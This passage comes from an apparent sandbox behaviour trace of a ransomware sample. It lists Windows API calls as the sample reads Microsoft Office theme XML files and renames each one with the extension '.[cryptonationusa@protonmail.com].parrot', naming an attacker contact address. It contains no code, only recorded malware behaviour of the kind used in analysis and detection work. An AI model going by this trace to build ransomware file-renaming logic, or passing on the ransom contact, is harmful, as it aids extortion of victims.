nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.695] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.695] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.695] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.696] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.696] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.696] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.700] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.700] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.702] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.702] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.702] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.706] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.708] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.708] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x39f, lpOverlapped=0x0) returned 1 [0158.708] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.708] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.708] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.708] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.713] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.713] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.714] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.714] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c0, lpOverlapped=0x0) returned 1 [0158.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.714] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.718] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.718] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.720] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.720] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x39e, lpOverlapped=0x0) returned 1 [0158.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.720] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.739] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.739] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.741] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.746] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.746] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.747] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.748] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.753] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.753] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.754] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.754] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.754] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.758] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.758] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.760] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.760] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.760] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.764] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.764] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.766] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.766] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.766] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.770] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.770] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.772] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.772] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a0, lpOverlapped=0x0) returned 1 [0158.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.772] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.776] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.776] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.778] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.778] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.778] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.782] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.785] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.785] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3bf, lpOverlapped=0x0) returned 1 [0158.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.785] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.789] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.789] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.791] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.791] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.791] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.795] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.795] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.797] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.797] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a0, lpOverlapped=0x0) returned 1 [0158.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.797] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.800] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.801] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, 